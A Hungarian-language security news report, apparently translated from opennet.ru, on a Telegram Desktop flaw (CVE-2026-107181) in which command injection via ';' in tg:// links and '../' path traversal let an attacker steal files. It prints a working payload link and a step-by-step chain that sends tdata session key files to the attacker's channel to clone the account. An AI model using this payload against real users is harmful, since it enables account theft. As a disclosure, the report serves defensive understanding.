A Telegram Desktop, a Telegram oficialis asztali kliensének egy sérülékenységéről (CVE-2026-107181) származó részletek és kihasználási módszer derültek ki. A probléma a nem megfelelően kezeltek, nem szűrt szeparátor karaktereknek köszönhető az IPC parancsokban, ami lehetővé tette, hogy a küldött linkre kattintva az támadó bármilyen fájlt átadjon az áldozat rendszeréből, beleértve a szekrénykulcsokkal rendelkező fájlokat is, melyeket a Telegram fiók megszerzésére lehet használni. A sérülékenységet a Telegram Desktop 7.2.9-es kiadásában javították.
A ‘tg://’ linkekre kattintva a rendszer megnyitja a kapcsolódó Telegram Desktop alkalmazást. Ha a rendszerben már fut egy másik példány az alkalmazásból, a futó folyamat a linket egy socket-en keresztül továbbítja a Telegram IPC interfészén. A probléma abban rejlik, hogy ha a link paraméterei között megadunk egy ‘;’ karaktert (például: ‘tg://x?a=1;OPEN…’), a tartalom szétválik, és a ‘;’ karaktert követő részek külön parancsként kerülnek feldolgozásra.
A támadás végrehajtásához az OPEN parancs mellett az ‘interpret:’ URI séma is felhasználásra kerül, amely célja az IPC-n keresztül futtatott segédprogramok elindítása, amelyeket új kiadások automatikus csatornába küldésére használtak. A szkript egy meghatározott helyi fájl, amely tartalmazza a csatornába küldendő fájl és a csatorna azonosítóját. A szkriptekhez vezető fájlútvonal a segédprogram almappa vonatkozásában kerül feldolgozásra, de a ‘..’ fájlútvonalak nem megfelelő tisztításának köszönhetően az támadó hozzáférhet, a fő könyvtáron kívül tárolt fájlokhoz is. Például lehet, hogy a saját telegram csoportjába feltölt egy fájlt, majd erre a fájlra hivatkozva szkriptként készít egy linket.
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
A támadás végrehajtásának lépései:
- A támadó hozzáadja az áldozatot a csoportjához (alapértelmezett beállítások esetén a hozzáadás nem igényel megerősítést) és küld ebbe a csoportba egy szöveges fájlt, amelyben a csatorna és a szkripthez vezető útvonal szerepel. A Telegram ezt a fájlt a beregisztráló áldozat csoportba lépéskor egy előre meghatározott rendszer almappába menti.
csatorna: 2005234537
fájl: tdata/D877F783D5D3EF8Cs - A támadó ártalmatlan kinézetű linket küld az áldozatnak a saját hostjára (például: ‘https://coolsite.org’), amely megnyitásakor átirányítás miatt szerveren az támadó URI-jára cserélődik, például: ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:…’.
- A hivatkozásra kattintva a böngésző meghívja a "tg://" URI kezelőt, amely elindítja a korábban említett parancsfuttatási láncot, ami a fájlok támadó által használt csatornára való elküldéséhez vezet, anélkül, hogy bármilyen értesítést küldene vagy kérdezné a küldés megerősítését.
- Ha a támadó a tdata alkönyvtárból megszerez fájlokat a titkosítási és engedélyezési kulcsokkal, akkor, ha a felhasználó nem állított be helyi jelszót, klónozhatja az áldozat kapcsolatát a saját eszközén.
Forrás: opennet.ru
